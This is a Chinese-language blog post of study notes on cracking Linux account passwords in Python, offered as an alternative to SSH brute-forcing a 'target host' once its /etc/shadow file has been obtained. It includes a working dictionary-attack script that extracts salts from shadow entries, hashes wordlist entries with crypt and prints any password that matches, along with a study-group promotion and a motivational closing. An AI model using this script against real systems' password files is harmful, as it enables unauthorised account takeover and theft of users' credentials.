用python实现linux口令破解

前言:

这个标题是笔记就可以知道这是我看书然后写的代码,并非原创。
在很多情况下,不能对目标主机进行ssh爆破,会激发报警。
这时,下面的工具就排上用场了。
前提是,你机缘巧合下,拿到目标主机的/etc/shadow 文件
我把自己在写的时候,遇到的问题,记录下来,方便自己也方便大家遇到问题可以少走弯路。

工具准备:

1.任意版本linux,这里是我用的是ubuntu 
2.window 版本中 python 并不支持 crypt  但是支持bcryp,想完的可以试试

知识点介绍:

1.crypt加密的时候,会把一段随机字符串作为"盐值",加入算法中加密
而我们都知道,hash加密后,同一个字符串,加密后的密文是一样的
这时,我们拿到目标主机的shadow文件,就可以提取盐值,然后配合字典再
生成密文和shadow对比
2.sudo cat /etc/shadow 看密码口令文件
3.最新的盐值由$6$随机字符串$组成,这么说不准确,那个6只是加密的版本。
但是可以把这段盐值当成随机字符串处理,都一样,遇到了随机应变就好

学习过程中遇到什么问题或者想获取学习资源的话,欢迎加入学习交流群:【923414804】,我们一起学Python。

具体实现:

1.sudo cat /etc/shadow

建议大家用linux,crypt支持unix
把下面文件复制一份 》passwords.txt


image.png

2.准备好自己的字典:

image.png

3.具体代码实现:

#! /usr/bin/env python 
import crypt
#定义一个提取盐值+生成密文+核对 的函数
def testPass(cryptPass):
        #[0:12]   这里是提取盐值  $6$cehishicdm$
    salt = cryptPass[0:12]
    dictFile = open('dictFile.txt','r')
    for word in dictFile.readlines():
        word = word.strip('\n')
        cryptWord = crypt.crypt(word,salt)
        if cryptWord == cryptPass:
            print "[+] Found Password:"+word+"\n"
            return                       #return 在这里直接退出def函数
    print "[+] Not Found Password"  
    return
#主函数,主要打开密码文件,传递盐值
def main():
    passFile = open('passwords.txt','r')
    for line in passFile.readlines():              #这里注意 readlines() 不是readline()
        if ":" in line:
            user = line.split(':')[0]
            cryptPass = line.split(':')[1].strip(' ')
            print "[*] Cracking Password For"+user
            testPass(cryptPass)
    #dictFile.close()
    passFile.close()

if __name__ == "__main__":
    main()

最好执行结果:

image.png

结束语

最近看到一些文章关于焦虑的,其实我在高中就开始焦虑了,但发现自己做了很多无用功。其实,只有自己肯坚持自己所想要坚持和应该坚持的,每天充实一些,我们还是很幸福的,我只会为自己可以做好,而没有做好的而懊悔,就像你会为你没中彩票而懊悔吗?我现在还记得大学老师的一句名言,共勉

努力到无能为力,拼搏到无怨无悔

猜你喜欢

转载自www.cnblogs.com/paisenpython/p/10297688.html